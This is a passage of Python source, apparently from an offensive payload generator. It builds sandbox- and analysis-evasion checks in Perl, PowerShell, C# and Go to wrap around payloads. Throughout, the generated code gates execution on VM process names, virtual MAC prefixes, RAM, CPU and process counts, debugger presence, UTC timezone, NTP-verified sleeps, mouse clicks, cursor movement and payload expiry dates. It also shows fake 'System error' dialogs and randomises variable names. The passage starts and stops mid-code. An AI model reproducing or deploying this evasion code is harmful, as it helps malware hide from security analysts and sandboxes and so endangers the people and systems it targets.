'->CurrentSize; }\n' - check_code += '\t' * num_tabs_required + 'if ($' + reg_size + ' > $' + reg_mb_size + ') {\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["USERNAME"][0].lower() != "x": - - rand_name = evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'my $' + rand_name + ' = Win32::LoginName;\n' - check_code += '\t' * num_tabs_required + 'if (index(lc($' + rand_name + '), lc(\"' + evasion_payload.required_options["USERNAME"][0] + '\")) != -1){\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["DOMAIN"][0].lower() != "x": - - rand_domain = evasion_helpers.randomString() - check_code += '\t' * num_tabs_required + 'use Net::Domain qw (hostdomain);\n' - check_code += '\t' * num_tabs_required + 'my $' + rand_domain + ' = hostdomain();\n' - check_code += '\t' * num_tabs_required + 'if (index(lc($' + rand_domain + '), lc(\"' + evasion_payload.required_options["DOMAIN"][0] + '\")) != -1){\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["PROCESSORS"][0].lower() != "x": - - rand_corecount = evasion_helpers.randomString() - check_code += '\t' * num_tabs_required + 'my $' + rand_corecount + ' = $ENV{\"NUMBER_OF_PROCESSORS\"};' - check_code += '\t' * num_tabs_required + 'if ($' + rand_corecount + ' >= '+ evasion_payload.required_options["PROCESSORS"][0] + '){\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["SLEEP"][0].lower() != "x": - - check_code += '\t' * num_tabs_required + 'use IO::Socket;' - check_code += '\t' * num_tabs_required + 'my $firstTime;my $secondTime;my $sock = IO::Socket::INET->new(Proto => "udp",PeerPort => 123,PeerAddr => "us.pool.ntp.org",Timeout => 4);\n' - check_code += '\t' * num_tabs_required + 'my $NTPTransmit = pack("B384", "00100011", (0)x14);my $secondTransmit = pack("B384", "00100011", (0)x14);\n' - check_code += '\t' * num_tabs_required + '$sock->send($NTPTransmit);$sock->recv($NTPTransmit, 384);my ($Ignore, $firstTime, $Ignore2)=unpack("B319 N B32",$NTPTransmit);$firstTime -= 2208988800;$sock->close;\n' - check_code += '\t' * num_tabs_required + 'sleep ' + evasion_payload.required_options["SLEEP"][0] + ';\n' - check_code += '\t' * num_tabs_required + 'my $newSock = IO::Socket::INET->new(Proto => "udp",PeerPort => 123,PeerAddr => "us.pool.ntp.org",Timeout => 4);\n' - check_code += '\t' * num_tabs_required + '$newSock->send($secondTransmit);$newSock->recv($secondTransmit, 384);my ($Ignore, $secondTime, $Ignore2)=unpack("B319 N B32",$secondTransmit);$newSock->close;\n' - check_code += '\t' * num_tabs_required + 'my $newSock = IO::Socket::INET->new(Proto => "udp",PeerPort => 123,PeerAddr => "us.pool.ntp.org",Timeout => 4);\n' - check_code += '\t' * num_tabs_required + 'if ((($secondTime - 2208988800) - $firstTime) >= ' + evasion_payload.required_options["SLEEP"][0] + ') {\n' - - # Add a tab for this check - num_tabs_required += 1 - - # Return check information - return check_code, num_tabs_required - - elif evasion_payload.language == 'powershell': - if evasion_payload.required_options["HOSTNAME"][0].lower() != "x": - check_code += "if($env:computername -eq \"" + evasion_payload.required_options["HOSTNAME"][0].lower() + "\") {\n" - num_tabs_required += 1 - - if evasion_payload.required_options["UTCCHECK"][0].lower() != "false": - - standard_time_zone = evasion_helpers.randomString() - daylight_time_zone = evasion_helpers.randomString() - - check_code += "$" + standard_time_zone + ' = [System.TimeZone]::CurrentTimeZone.StandardName\n' - check_code += "$" + daylight_time_zone + ' = [System.TimeZone]::CurrentTimeZone.DaylightName\n' - check_code += "if ($" + standard_time_zone + ' -ne "Coordinated Universal Time" -or $' + daylight_time_zone + ' -eq "Coordinated Universal Time") {\n' - num_tabs_required += 1 - - if evasion_payload.required_options["MINRAM"][0].lower() != "false": - check_code += "if ((Get-Ciminstance Win32_OperatingSystem).TotalVisibleMemorySize/1048576 -gt 3) {\n" - num_tabs_required += 1 - - if evasion_payload.required_options["VIRTUALPROC"][0].lower() != "false": - - evidenceof_sandbox = evasion_helpers.randomString() - sandbox_processes = evasion_helpers.randomString() - running_processes = evasion_helpers.randomString() - running_proc = evasion_helpers.randomString() - sandbox_proc = evasion_helpers.randomString() - - check_code += '$' + evidenceof_sandbox + ' = New-Object System.Collections.ArrayList\n' - check_code += '$' + sandbox_processes + ' = "vmsrvc", "tcpview", "wireshark","visual basic", "fiddler", "vmware", "vbox", "process explorer", "autoit", "vboxtray", "vmtools", "vmrawdsk", "vmusbmouse", "vmvss", "vmscsi", "vmxnet", "vmx_svga", "vmmemctl", "df5serv", "vboxservice", "vmhgfs"\n' - check_code += '$' + running_processes + ' = Get-Process\n' - check_code += 'ForEach ($' + running_proc + ' in $' + running_processes + ') {\n' - check_code += '\tForEach ($' + sandbox_proc + ' in $' + sandbox_processes + ') {\n' - check_code += '\t\tif ($' + running_proc + '.ProcessName | Select-String $' + sandbox_proc + ') {\n' - check_code += '\t\t\tif ($' + evidenceof_sandbox + ' -NotContains $' + running_proc+ '.ProcessName) {\n' - check_code += '\t\t\t\t[void]$' + evidenceof_sandbox + '.Add($' + running_proc + '.ProcessName)\n' - check_code += '\t\t\t}\n' - check_code += '\t\t}\n' - check_code += '\t}\n' - check_code += '}\n' - check_code += 'if ($' + evidenceof_sandbox + '.count -eq 0) {\n' - num_tabs_required += 1 - - if evasion_payload.required_options["MINBROWSERS"][0].lower() != "false": - - browser_count = evasion_helpers.randomString() - browser_keys = evasion_helpers.randomString() - browser_key = evasion_helpers.randomString() - - check_code += '$' + browser_count + ' = 0\n' - check_code += '$' + browser_keys + " = 'SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe', 'SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\iexplore.exe', 'SOFTWARE\Mozilla'\n" - check_code += 'ForEach ($' + browser_key + ' in $' + browser_keys + ') {\n' - check_code += '\tif (Test-Path ("HKLM:\" + $' + browser_key + ')) {\n' - check_code += '\t\t++$' + browser_count + '\n' - check_code += '\t}\n' - check_code += '}\n' - check_code += 'if ($' + browser_count + ' -ge 2) {\n' - num_tabs_required += 1 - - if evasion_payload.required_options["BADMACS"][0].lower() != "false": - - sand_macs = evasion_helpers.randomString() - bad_macs = evasion_helpers.randomString() - current_macs = evasion_helpers.randomString() - mac_addy = evasion_helpers.randomString() - badmac_addy = evasion_helpers.randomString() - - check_code += '$' + sand_macs + ' = New-Object System.Collections.ArrayList\n' - check_code += '$' + bad_macs + " = '00:0C:29', '00:1C:14', '00:50:56', '00:05:69', '08:00:27'\n" - check_code += '$' + current_macs + ' = Get-WmiObject Win32_NetworkAdapterConfiguration | Select -ExpandProperty MACAddress\n' - check_code += 'ForEach ($' + mac_addy + ' in $' + current_macs + ') {\n' - check_code += '\tForEach ($' + badmac_addy + ' in $' + bad_macs + ') {\n' - check_code += '\t\tif ($' + mac_addy + ' | Select-String $' + badmac_addy + ') {\n' - check_code += '\t\t\t[void]$' + sand_macs + '.Add($' + mac_addy + ')\n' - check_code += '\t\t}\n' - check_code += '\t}\n' - check_code += '}\n' - check_code += 'if ($' + sand_macs + '.count -eq 0) {\n' - num_tabs_required += 1 - - if evasion_payload.required_options["MINPROCESSES"][0].lower() != "x": - - minimum_processes = evasion_helpers.randomString() - running_procs = evasion_helpers.randomString() - - check_code += '$' + minimum_processes + ' = ' + evasion_payload.required_options["MINPROCESSES"][0] + '\n' - check_code += '$' + running_procs + ' = (Get-Process).count\n' - check_code += 'if ($' + running_procs + ' -ge $' + minimum_processes + ') {\n' - num_tabs_required += 1 - - if evasion_payload.required_options["DOMAIN"][0].lower() != "x": - check_code += "if((Get-WMIObject -Class Win32_ComputerSystem).Domain -eq \"" + evasion_payload.required_options["DOMAIN"][0].lower() + "\") {\n" - num_tabs_required += 1 - - if evasion_payload.required_options["USERNAME"][0].lower() != "x": - check_code += "if($env:username -eq \"" + evasion_payload.required_options["USERNAME"][0].lower() + "\") {\n" - num_tabs_required += 1 - - if evasion_payload.required_options["PROCESSORS"][0].lower() != "x": - check_code += "if((Get-WMIObject -Class Win32_Processor).NumberOfLogicalProcessors -ge " + evasion_payload.required_options["PROCESSORS"][0].lower() + ") {\n" - num_tabs_required += 1 - - if evasion_payload.required_options["SLEEP"][0].lower() != "x": - check_code += "[Byte[]]$NTPTransmit=,1*48;$NTPTransmit[0]=0x1B;[Byte[]]$secondTransmit=,1*48;$secondTransmit[0]=0x1B;$noAccess=$false;" - check_code += "Try{$Socket=New-Object Net.Sockets.Socket([Net.Sockets.AddressFamily]::InterNetwork,[Net.Sockets.SocketType]::Dgram,[Net.Sockets.ProtocolType]::Udp);$Socket.Connect('us.pool.ntp.org',123);[Void]$Socket.Send($NTPTransmit);[Void]$Socket.Receive($NTPTransmit)}catch{$noAccess=$true};" - check_code += "$runTotal=0;ForEach($Index in $NTPTransmit[40..43]){$runTotal=$runTotal*256+$Index};$firstTime=(New-Object DateTime(1900,1,1,0,0,0,[DateTimeKind]::Utc)).AddMilliseconds([UInt64]($runTotal*1000)).Second;" - check_code += "Start-Sleep -s " + evasion_payload.required_options["SLEEP"][0] + ";" - check_code += "Try{$NewSock=New-Object Net.Sockets.Socket([Net.Sockets.AddressFamily]::InterNetwork,[Net.Sockets.SocketType]::Dgram,[Net.Sockets.ProtocolType]::Udp);$NewSock.Connect('us.pool.ntp.org',123);[Void]$NewSock.Send($secondTransmit);[Void]$NewSock.Receive($secondTransmit);$NewSock.Close()}catch{$noAccess=$true};" - check_code += "$runTotal=0;ForEach($Index in $secondTransmit[40..43]){$runTotal=$runTotal*256+$Index}\n" - check_code += "if ((New-Object DateTime(1900,1,1,0,0,0,[DateTimeKind]::Utc)).AddMilliseconds([UInt64]($runTotal*1000)).Second - $firstTime -ge " + evasion_payload.required_options["SLEEP"][0] + " -or $noAccess) {\n" - num_tabs_required += 1 - - if evasion_payload.required_options["USERPROMPT"][0].lower() != "false": - - dialog_title = evasion_helpers.randomString() - dialog_text = evasion_helpers.randomString() - message_box = evasion_helpers.randomString() - - check_code += '$' + dialog_title + ' = "System error encountered!"\n' - check_code += '$' + dialog_text + ' = "Error 0x8163819f - Please hit OK to continue"\n' - check_code += '$' + message_box + ' = New-Object -COMObject WScript.Shell\n' - check_code += '[void]$' + message_box + '.Popup($' + dialog_text + ',0,$' + dialog_title + ',0)\n' - check_code += 'if ($true) {\n' - num_tabs_required += 1 - - # Return check information - return check_code, num_tabs_required - - elif evasion_payload.language == 'cs': - if evasion_payload.required_options["EXPIRE_PAYLOAD"][0].lower() != "x": - - RandToday = evasion_helpers.randomString() - RandExpire = evasion_helpers.randomString() - - # Create Payload code - check_code += '\t' * num_tabs_required + 'DateTime {} = DateTime.Today;\n'.format(RandToday) - check_code += '\t' * num_tabs_required + 'DateTime {} = {}.AddDays({});\n'.format(RandExpire, RandToday, evasion_payload.required_options["EXPIRE_PAYLOAD"][0]) - check_code += '\t' * num_tabs_required + 'if ({} < {}) {{\n'.format(RandExpire, RandToday) - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["HOSTNAME"][0].lower() != "x": - - check_code += '\t' * num_tabs_required + 'if (System.Environment.MachineName.ToLower().Contains("{}")) {{\n'.format(evasion_payload.required_options["HOSTNAME"][0].lower()) - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["TIMEZONE"][0].lower() != 'x': - - check_code += '\t' * num_tabs_required + 'if (TimeZone.CurrentTimeZone.StandardName != "Coordinated Universal Time") {\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["DEBUGGER"][0].lower() != 'x': - - check_code += '\t' * num_tabs_required + 'if (!System.Diagnostics.Debugger.IsAttached) {\n' - - # Add a tab for this check - num_tabs_required += 1 - - #if evasion_payload.required_options["BADMACS"][0].lower() != 'x': - # pass - - if evasion_payload.required_options["DOMAIN"][0].lower() != "x": - - check_code += '\t' * num_tabs_required + 'if (string.Equals("' + evasion_payload.required_options["DOMAIN"][0] + '", System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName, StringComparison.CurrentCultureIgnoreCase)) {\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["PROCESSORS"][0].lower() != "x": - - check_code += '\t' * num_tabs_required + 'if (System.Environment.ProcessorCount >= {}) {{\n'.format(evasion_payload.required_options["PROCESSORS"][0]) - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["USERNAME"][0].lower() != "x": - - rand_user_name = evasion_helpers.randomString() - rand_char_name = evasion_helpers.randomString() - check_code += '\t' * num_tabs_required + 'string {} = System.Security.Principal.WindowsIdentity.GetCurrent().Name;\n'.format(rand_user_name) - check_code += '\t' * num_tabs_required + "string[] {} = {}.Split('\\\\');\n".format(rand_char_name, rand_user_name) - check_code += '\t' * num_tabs_required + 'if ({}[1].Contains("{}")) {{\n\n'.format(rand_char_name, evasion_payload.required_options["USERNAME"][0]) - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["SLEEP"][0].lower() != "x": - - check_code += '\t' * num_tabs_required + 'var NTPTransmit = new byte[48];NTPTransmit[0] = 0x1B; var secondTransmit = new byte[48]; secondTransmit[0] = 0x1B; var skip = false;\n' - check_code += '\t' * num_tabs_required + 'var addr = Dns.GetHostEntry("us.pool.ntp.org").AddressList;var sock = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);\n' - check_code += '\t' * num_tabs_required + 'try { sock.Connect(new IPEndPoint(addr[0], 123)); sock.ReceiveTimeout = 6000; sock.Send(NTPTransmit); sock.Receive(NTPTransmit); sock.Close(); } catch { skip = true; }\n' - check_code += '\t' * num_tabs_required + 'ulong runTotal=0;for (int i=40; i<=43; ++i){runTotal = runTotal * 256 + (uint)NTPTransmit[i];}\n' - check_code += '\t' * num_tabs_required + 'var t1 = (new DateTime(1900, 1, 1, 0, 0, 0, DateTimeKind.Utc)).AddMilliseconds(1000 * runTotal);\n' - check_code += '\t' * num_tabs_required + 'Thread.Sleep(' + evasion_payload.required_options["SLEEP"][0] + '*1000);\n' - check_code += '\t' * num_tabs_required + 'var newSock = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);\n' - check_code += '\t' * num_tabs_required + 'try { var addr2 = Dns.GetHostEntry("us.pool.ntp.org").AddressList; newSock.Connect(new IPEndPoint(addr2[0], 123)); newSock.ReceiveTimeout = 6000; newSock.Send(secondTransmit); newSock.Receive(secondTransmit); newSock.Close(); } catch { skip = true; }\n' - check_code += '\t' * num_tabs_required + 'ulong secondTotal = 0; for (int i = 40; i <= 43; ++i) { secondTotal = secondTotal * 256 + (uint)secondTransmit[i]; }\n' - check_code += '\t' * num_tabs_required + 'if (((new DateTime(1900, 1, 1, 0, 0, 0, DateTimeKind.Utc)).AddMilliseconds(1000 * secondTotal) - t1).Seconds >= ' + evasion_payload.required_options["SLEEP"][0] + ' || skip) {\n' - - # Add a tab for this check - num_tabs_required += 1 - - # Return check information - return check_code, num_tabs_required - - elif evasion_payload.language == 'go': - rand_username = evasion_helpers.randomString() - rand_error1 = evasion_helpers.randomString() - rand_hostname = evasion_helpers.randomString() - rand_error2 = evasion_helpers.randomString() - rand_processor = evasion_helpers.randomString() - rand_domain = evasion_helpers.randomString() - - if evasion_payload.required_options["USERNAME"][0].lower() != "x": - check_code += rand_username + ", " + rand_error1 + " := user.Current()\n" - check_code += "if " + rand_error1 + " != nil {\n" - check_code += "os.Exit(1)}\n" - check_code += "if strings.Contains(strings.ToLower(" + rand_username + ".Username), strings.ToLower(\"" + evasion_payload.required_options["USERNAME"][0] + "\")) {\n" - num_tabs_required += 1 - - if evasion_payload.required_options["HOSTNAME"][0].lower() != "x": - check_code += rand_hostname + ", " + rand_error2 + " := os.Hostname()\n" - check_code += "if " + rand_error2 + " != nil {\n" - check_code += "os.Exit(1)}\n" - check_code += "if strings.Contains(strings.ToLower(" + rand_hostname + "), strings.ToLower(\"" + evasion_payload.required_options["HOSTNAME"][0] + "\")) {\n" - num_tabs_required += 1 - - if evasion_payload.required_options["PROCESSORS"][0].lower() != "x": - check_code += rand_processor + " := runtime.NumCPU()\n" - check_code += "if " + rand_processor + " >= " + evasion_payload.required_options["PROCESSORS"][0] + " {\n" - num_tabs_required += 1 - - if evasion_payload.required_options["SLEEP"][0].lower() != "x": - check_code += 'type ntp_struct struct {FirstByte,A,B,C uint8;D,E,F uint32;G,H uint64;ReceiveTime uint64;J uint64}\n' - check_code += 'sock,_ := net.Dial("udp", "us.pool.ntp.org:123");sock.SetDeadline(time.Now().Add((6*time.Second)));defer sock.Close()\n' - check_code += 'ntp_transmit := new(ntp_struct);ntp_transmit.FirstByte=0x1b\n' - check_code += 'binary.Write(sock, binary.BigEndian, ntp_transmit);binary.Read(sock, binary.BigEndian, ntp_transmit)\n' - check_code += 'val := time.Date(1900, 1, 1, 0, 0, 0, 0, time.UTC).Add(time.Duration(((ntp_transmit.ReceiveTime >> 32)*1000000000)))\n' - check_code += 'time.Sleep(time.Duration(' + evasion_payload.required_options["SLEEP"][0] + '*1000) * time.Millisecond)\n' - check_code += 'newsock,_ := net.Dial("udp", "us.pool.ntp.org:123");newsock.SetDeadline(time.Now().Add((6*time.Second)));defer newsock.Close()\n' - check_code += 'second_transmit := new(ntp_struct);second_transmit.FirstByte=0x1b\n' - check_code += 'binary.Write(newsock, binary.BigEndian, second_transmit);binary.Read(newsock, binary.BigEndian, second_transmit)\n' - check_code += 'if int(time.Date(1900, 1, 1, 0, 0, 0, 0, time.UTC).Add(time.Duration(((second_transmit.ReceiveTime >> 32)*1000000000))).Sub(val).Seconds()) >= ' + evasion_payload.required_options["SLEEP"][0] + ' {' - num_tabs_required += 1 - - if evasion_payload.required_options["UTCCHECK"][0].lower() != "false": - - tzone_abbrev = evasion_helpers.randomString() - tzone_offset = evasion_helpers.randomString() - - check_code += '_, ' + tzone_offset + ' := time.Now().Zone()\n' - check_code += 'if ' + tzone_offset + ' != 0 {\n' - num_tabs_required += 1 - - if evasion_payload.required_options["USERPROMPT"][0].lower() != "false": - - title_box = evasion_helpers.randomString() - message_box = evasion_helpers.randomString() - user32_dll = evasion_helpers.randomString() - messagebox_w = evasion_helpers.randomString() - - check_code += 'var ' + title_box + ' = "System Error Encountered"\n' - check_code += 'var ' + message_box + ' = "System error 0x831d83a4 - Press OK to continue"\n' - check_code += 'var ' + user32_dll + ' = syscall.NewLazyDLL("user32.dll")\n' - check_code += 'var ' + messagebox_w + ' = ' + user32_dll + '.NewProc("MessageBoxW")\n' - check_code += messagebox_w + '.Call(0,\n' - check_code += '\tuintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(' + message_box + '))),\n' - check_code += '\tuintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(' + title_box + '))),\n' - check_code += '0)\n' - check_code += 'if true {\n' - num_tabs_required += 1 - - if evasion_payload.required_options["RAMCHECK"][0].lower() != 'false': - - memstatusx = evasion_helpers.randomString() - kernel32_dll = evasion_helpers.randomString() - globalmem_status = evasion_helpers.randomString() - mem_info = evasion_helpers.randomString() - - check_code += 'type ' + memstatusx + ' struct {\n' - check_code += '\tdwLength\tuint32\n' - check_code += '\tdwMemoryLoad\tuint32\n' - check_code += '\tullTotalPhys\tuint64\n' - check_code += '\tullAvailPhys\tuint64\n' - check_code += '\tullTotalPageFile\tuint64\n' - check_code += '\tullAvailPageFile\tuint64\n' - check_code += '\tullTotalVirtual\tuint64\n' - check_code += '\tullAvailVirtual\tuint64\n' - check_code += '\tullAvailExtendedVirtual\tuint64\n' - check_code += '}\n' - check_code += 'var ' + kernel32_dll + ' = syscall.NewLazyDLL("kernel32.dll")\n' - check_code += 'var ' + globalmem_status + ' = ' + kernel32_dll + '.NewProc("GlobalMemoryStatusEx")\n' - check_code += 'var ' + mem_info + ' ' + memstatusx + '\n' - check_code += mem_info + '.dwLength = uint32(unsafe.Sizeof(' + mem_info + '))\n' - check_code += globalmem_status + '.Call(uintptr(unsafe.Pointer(&' + mem_info + ')))\n' - check_code += 'if (' + mem_info + '.ullTotalPhys/1073741824 >= 3) {\n' - num_tabs_required += 1 - - if evasion_payload.required_options["PROCCHECK"][0].lower() != 'false': - - kernel32 = evasion_helpers.randomString() - createtoolhelp = evasion_helpers.randomString() - proc32first = evasion_helpers.randomString() - proc32next = evasion_helpers.randomString() - closehandle = evasion_helpers.randomString() - procentry32 = evasion_helpers.randomString() - ev_of_sandbox = evasion_helpers.randomString() - sbox_procs = evasion_helpers.randomString() - hproc_snap = evasion_helpers.randomString() - exe_names = evasion_helpers.randomString() - pe32 = evasion_helpers.randomString() - ret_val = evasion_helpers.randomString() - exe = evasion_helpers.randomString() - sbox_process = evasion_helpers.randomString() - - check_code += 'var ' + kernel32 + ' = syscall.NewLazyDLL("kernel32.dll")\n' - check_code += 'var ' + createtoolhelp + ' = ' + kernel32 + '.NewProc("CreateToolhelp32Snapshot")\n' - check_code += 'var ' + proc32first + ' = ' + kernel32 + '.NewProc("Process32FirstW")\n' - check_code += 'var ' + proc32next + ' = ' + kernel32 + '.NewProc("Process32NextW")\n' - check_code += 'var ' + closehandle + ' = ' + kernel32 + '.NewProc("CloseHandle")\n' - check_code += 'type ' + procentry32 + ' struct {\n' - check_code += '\tdwSize\t\tuint32\n' - check_code += '\tcntUsage\t\tuint32\n' - check_code += '\tth32ProcessID\t\tuint32\n' - check_code += '\tth32DefaultHeapID\t\tuintptr\n' - check_code += '\tth32ModuleID\t\tuint32\n' - check_code += '\tcntThreads\t\tuint32\n' - check_code += '\tth32ParentProcessID\t\tuint32\n' - check_code += '\tpcPriClassBase\t\tint32\n' - check_code += '\tdwFlags\t\tuint32\n' - check_code += '\tszExeFile\t\t[260]uint16\n' - check_code += '}\n' - check_code += ev_of_sandbox + ' := make([]string, 0)\n' - check_code += sbox_procs + " := [...]string{`vmsrvc`, `tcpview`, `wireshark`, `visual basic`, `fiddler`, `vmware`, `vbox`, `process explorer`, `autoit`, `vboxtray`, `vmtools`, `vmrawdsk`, `vmusbmouse`, `vmvss`, `vmscsi`, `vmxnet`, `vmx_svga`, `vmmemctl`, `df5serv`, `vboxservice`, `vmhgfs`}\n" - check_code += hproc_snap + ', _, _ := ' + createtoolhelp + '.Call(2,0)\n' - check_code += 'defer ' + closehandle + '.Call(' + hproc_snap + ')\n' - check_code += exe_names + ' := make([]string, 0, 100)\n' - check_code += 'var ' + pe32 + ' ' + procentry32 + '\n' - check_code += pe32 + '.dwSize = uint32(unsafe.Sizeof(' + pe32 + '))\n' - check_code += proc32first + '.Call(' + hproc_snap + ', uintptr(unsafe.Pointer(&' + pe32 + ')))\n' - check_code += 'for {\n' - check_code += '\t' + exe_names + ' = append(' + exe_names + ', syscall.UTF16ToString(' + pe32 + '.szExeFile[:260]))\n' - check_code += '\t' + ret_val + ', _, _ := ' + proc32next + '.Call(' + hproc_snap + ', uintptr(unsafe.Pointer(&' + pe32 + ')))\n' - check_code += '\tif ' + ret_val + ' == 0 {\n' - check_code += '\t\tbreak\n' - check_code += '\t}\n' - check_code += '}\n' - check_code += 'for _, ' + exe + ' := range ' + exe_names + ' {\n' - check_code += '\tfor _, ' + sbox_process + ' := range ' + sbox_procs + ' {\n' - check_code += '\t\tif (strings.Contains(strings.ToLower(' + exe + '), strings.ToLower(' + sbox_process + '))) {\n' - check_code += '\t\t\t' + ev_of_sandbox + ' = append(' + ev_of_sandbox + ', ' + exe + ')\n' - check_code += '\t\t}\n' - check_code += '\t}\n' - check_code += '}\n' - check_code += 'if len(' + ev_of_sandbox + ') == 0 {\n' - num_tabs_required += 1 - - if evasion_payload.required_options["MINPROCS"][0].lower() != 'x': - - kernel32 = evasion_helpers.randomString() - createtoolhelp = evasion_helpers.randomString() - proc32first = evasion_helpers.randomString() - proc32next = evasion_helpers.randomString() - closehandle = evasion_helpers.randomString() - min_processes = evasion_helpers.randomString() - procentry32 = evasion_helpers.randomString() - hproc_snap = evasion_helpers.randomString() - exe_names = evasion_helpers.randomString() - pe32 = evasion_helpers.randomString() - ret_val = evasion_helpers.randomString() - exe = evasion_helpers.randomString() - count_running_procs = evasion_helpers.randomString() - wut = evasion_helpers.randomString() - - check_code += 'var ' + kernel32 + ' = syscall.NewLazyDLL("kernel32.dll")\n' - check_code += 'var ' + createtoolhelp + ' = ' + kernel32 + '.NewProc("CreateToolhelp32Snapshot")\n' - check_code += 'var ' + proc32first + ' = ' + kernel32 + '.NewProc("Process32FirstW")\n' - check_code += 'var ' + proc32next + ' = ' + kernel32 + '.NewProc("Process32NextW")\n' - check_code += 'var ' + closehandle + ' = ' + kernel32 + '.NewProc("CloseHandle")\n' - check_code += 'type ' + procentry32 + ' struct {\n' - check_code += '\tdwSize\t\tuint32\n' - check_code += '\tcntUsage\t\tuint32\n' - check_code += '\tth32ProcessID\t\tuint32\n' - check_code += '\tth32DefaultHeapID\t\tuintptr\n' - check_code += '\tth32ModuleID\t\tuint32\n' - check_code += '\tcntThreads\t\tuint32\n' - check_code += '\tth32ParentProcessID\t\tuint32\n' - check_code += '\tpcPriClassBase\t\tint32\n' - check_code += '\tdwFlags\t\tuint32\n' - check_code += '\tszExeFile\t\t[260]uint16\n' - check_code += '}\n' - check_code += min_processes + ' := ' + evasion_payload.required_options["MINPROCS"][0] + '\n' - check_code += hproc_snap + ', _, _ := ' + createtoolhelp + '.Call(2,0)\n' - check_code += 'defer ' + closehandle + '.Call(' + hproc_snap + ')\n' - check_code += exe_names + ' := make([]string, 0, 100)\n' - check_code += 'var ' + pe32 + ' ' + procentry32 + '\n' - check_code += pe32 + '.dwSize = uint32(unsafe.Sizeof(' + pe32 + '))\n' - check_code += proc32first + '.Call(' + hproc_snap + ', uintptr(unsafe.Pointer(&' + pe32 + ')))\n' - check_code += 'for {\n' - check_code += '\t' + exe_names + ' = append(' + exe_names + ', syscall.UTF16ToString(' + pe32 + '.szExeFile[:260]))\n' - check_code += '\t' + ret_val + ', _, _ := ' + proc32next + '.Call(' + hproc_snap + ', uintptr(unsafe.Pointer(&' + pe32 + ')))\n' - check_code += '\tif ' + ret_val + ' == 0 {\n' - check_code += '\t\tbreak\n' - check_code += '\t}\n' - check_code += '}\n' - check_code += count_running_procs + ' := 0\n' - check_code += 'for _, ' + exe + ' := range ' + exe_names + ' {\n' - check_code += "\tif " + exe + " == \"\" {\n" - check_code += "\t\tos.Exit(1)}\n" - check_code += '\t' + count_running_procs + ' += 1\n' - check_code += '}\n' - check_code += 'if (' + count_running_procs + ' >= ' + min_processes + ') {\n' - num_tabs_required += 1 - - if evasion_payload.required_options["BADMACS"][0].lower() != 'false': - - evd_sandbox = evasion_helpers.randomString() - bad_addrs = evasion_helpers.randomString() - nics = evasion_helpers.randomString() - single_nic = evasion_helpers.randomString() - bad_mac = evasion_helpers.randomString() - - check_code += evd_sandbox + ' := make([]net.HardwareAddr, 0)\n' - check_code += bad_addrs + ' := [...]string{`00:0C:29`, `00:1C:14`, `00:50:56`, `00:05:69`, `08:00:27`}\n' - check_code += nics + ', _ := net.Interfaces()\n' - check_code += 'for _, ' + single_nic + ' := range ' + nics + ' {\n' - check_code += '\tfor _, ' + bad_mac + ' := range ' + bad_addrs + ' {\n' - check_code += '\t\tif strings.Contains(strings.ToLower(' + single_nic + '.HardwareAddr.String()), strings.ToLower(' + bad_mac + ')) {\n' - check_code += '\t\t\t' + evd_sandbox + ' = append(' + evd_sandbox + ', ' + single_nic + '.HardwareAddr)\n' - check_code += '\t\t}\n' - check_code += '\t}\n' - check_code += '}\n' - check_code += 'if len(' + evd_sandbox + ') == 0 {\n' - num_tabs_required += 1 - - if evasion_payload.required_options["CLICKTRACK"][0].lower() != 'x': - - usr32 = evasion_helpers.randomString() - getkey_state = evasion_helpers.randomString() - counter = evasion_helpers.randomString() - min_clicks = evasion_helpers.randomString() - lft_click = evasion_helpers.randomString() - rght_click = evasion_helpers.randomString() - - check_code += 'var ' + usr32 + ' = syscall.NewLazyDLL("user32.dll")\n' - check_code += 'var ' + getkey_state + ' = ' + usr32 + '.NewProc("GetAsyncKeyState")\n' - check_code += 'var ' + counter + ' = 0\n' - check_code += 'var ' + min_clicks + ' = ' + evasion_payload.required_options["CLICKTRACK"][0] + '\n' - check_code += 'for ' + counter + ' < ' + min_clicks + ' {\n' - check_code += '\t' + lft_click + ', _, _ := ' + getkey_state + '.Call(uintptr(0x1))\n' - check_code += '\t' + rght_click + ', _, _ := ' + getkey_state + '.Call(uintptr(0x2))\n' - check_code += '\tif ' + lft_click + ' % 2 == 1 {\n' - check_code += '\t\t' + counter + ' += 1\n' - check_code += '\t}\n' - check_code += '\tif ' + rght_click + ' % 2 == 1 {\n' - check_code += '\t\t' + counter + ' += 1\n' - check_code += '\t}\n' - check_code += '}\n' - check_code += 'if true {\n' - num_tabs_required += 1 - - if evasion_payload.required_options["CURSORCHECK"][0].lower() != 'false': - - usr32 = evasion_helpers.randomString() - cursor_position = evasion_helpers.randomString() - point_struct = evasion_helpers.randomString() - secs = evasion_helpers.randomString() - point_var1 = evasion_helpers.randomString() - point_var2 = evasion_helpers.randomString() - - check_code += 'type ' + point_struct + ' struct {\n' - check_code += '\tx, y int32\n' - check_code += '}\n' - check_code += 'var ' + usr32 + ' = syscall.NewLazyDLL("user32.dll")\n' - check_code += 'var ' + cursor_position + ' = ' + usr32 + '.NewProc("GetCursorPos")\n' - check_code += secs + ' := 60\n' - check_code += point_var1 + ' := ' + point_struct + '{}\n' - check_code += cursor_position + '.Call(uintptr(unsafe.Pointer(&' + point_var1 + ')))\n' - check_code += 'time.Sleep(time.Duration(' + secs + ' * 1000) * time.Millisecond)\n' - check_code += point_var2 + ' := ' + point_struct + '{}\n' - check_code += cursor_position + '.Call(uintptr(unsafe.Pointer(&' + point_var2 + ')))\n' - check_code += 